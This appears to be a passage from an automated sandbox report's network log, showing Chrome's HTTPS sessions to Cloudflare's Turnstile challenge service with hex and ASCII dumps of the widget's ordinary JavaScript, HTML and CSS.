2025-01-30 18:24:17 UTC	1369	IN	Data Raw: 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b Data Ascii: R="never",e.MANUAL="manual",e.AUTO="auto"})(ee\|\|(ee={}));var ce;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ce\|\|(ce={}));var Q;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(Q\|\|(Q={}));var me;
2025-01-30 18:24:17 UTC	1369	IN	Data Raw: 22 73 74 72 69 6e 67 22 26 26 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 4c 2e 4e 4f 52 4d 41 4c 2c 4c 2e 43 4f 4d 50 41 43 54 2c 4c 2e 49 4e 56 49 53 49 42 4c 45 2c 4c 2e 46 4c 45 58 49 42 4c 45 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 6b 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 Data Ascii: "string"&&Nr.test(e)}function pt(e){return M([L.NORMAL,L.COMPACT,L.INVISIBLE,L.FLEXIBLE],e)}function vt(e){return M(["auto","manual","never"],e)}function mt(e){return M(["auto","manual","never"],e)}var kr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){retu
2025-01-30 18:24:17 UTC	1369	IN	Data Raw: 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 49 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 22 3a 22 66 62 45 22 3b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 73 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 70 2c 22 74 75 72 6e 73 74 69 6c 65 2f 69 66 2f 6f 76 Data Ascii: o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,g,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",I=a["feedback-enabled"]===!1?"fbD":"fbE";return"".concat(s,"/cdn-cgi/challenge-platform/").concat(p,"turnstile/if/ov
2025-01-30 18:24:17 UTC	1369	IN	Data Raw: 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 29 7b 69 66 28 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 3d 3d 22 75 6e 64 65 66 69 6e 65 Data Ascii: if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&te(e,t)}function ze(){if(typeof Reflect=="undefine
2025-01-30 18:24:17 UTC	1369	IN	Data Raw: 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 71 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 7a 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 73 72 28 74 68 69 73 2c 63 29 7d 7d 76 61 72 20 66 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 75 72 28 61 2c 65 29 3b 76 61 72 20 74 3d 64 72 28 61 29 3b Data Ascii: eof t=="function")?t:qe(e)}function dr(e){var t=ze();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,arguments);return sr(this,c)}}var fr=function(e){"use strict";ur(a,e);var t=dr(a);
2025-01-30 18:24:17 UTC	1369	IN	Data Raw: 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 6c 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b 74 2e 77 72 61 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 6d 28 22 43 61 6e 6e 6f 74 20 69 6e 69 74 69 61 6c 69 7a 65 20 57 69 64 67 65 74 2c 20 45 6c 65 6d 65 6e 74 20 6e 6f 74 20 66 6f 75 6e 64 20 28 23 22 2e 63 6f 6e 63 61 74 28 Data Ascii: -cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((l=t.params.theme)!==null&&l!==void 0?l:t.theme,"/").concat(a);t.wrapper.parentNode\|\|m("Cannot initialize Widget, Element not found (#".concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49760	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:18 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:18 UTC	1368	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 27266 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-30 18:24:18 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 61 33 37 66 38 35 35 62 61 62 33 32 63 61 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 90a37f855bab32ca-EWRalt-svc: h3=":443"; ma=86400
2025-01-30 18:24:18 UTC	1288	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-30 18:24:18 UTC	1369	IN	Data Raw: 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 Data Ascii: en;padding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antia
2025-01-30 18:24:18 UTC	1369	IN	Data Raw: 6c 69 6e 65 7b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 Data Ascii: line{stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;f
2025-01-30 18:24:18 UTC	1369	IN	Data Raw: 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d Data Ascii: .theme-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.them
2025-01-30 18:24:18 UTC	1369	IN	Data Raw: 23 66 33 38 30 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 Data Ascii: #f38020}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark
2025-01-30 18:24:18 UTC	1369	IN	Data Raw: 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 Data Ascii: y:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke
2025-01-30 18:24:18 UTC	1369	IN	Data Raw: 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a Data Ascii: display:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.siz
2025-01-30 18:24:18 UTC	1369	IN	Data Raw: 65 6f 75 74 2d 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c Data Ascii: eout-i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-sel
2025-01-30 18:24:18 UTC	1369	IN	Data Raw: 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d Data Ascii: ver{color:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49761	104.18.95.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:24:18 UTC	383	OUT	GET /turnstile/v0/b/6682e961b853/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:24:18 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:24:18 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48122 Connection: close accept-ranges: bytes last-modified: Thu, 30 Jan 2025 10:28:27 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 90a37f85ccfb8c9b-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:24:18 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-01-30 18:24:18 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 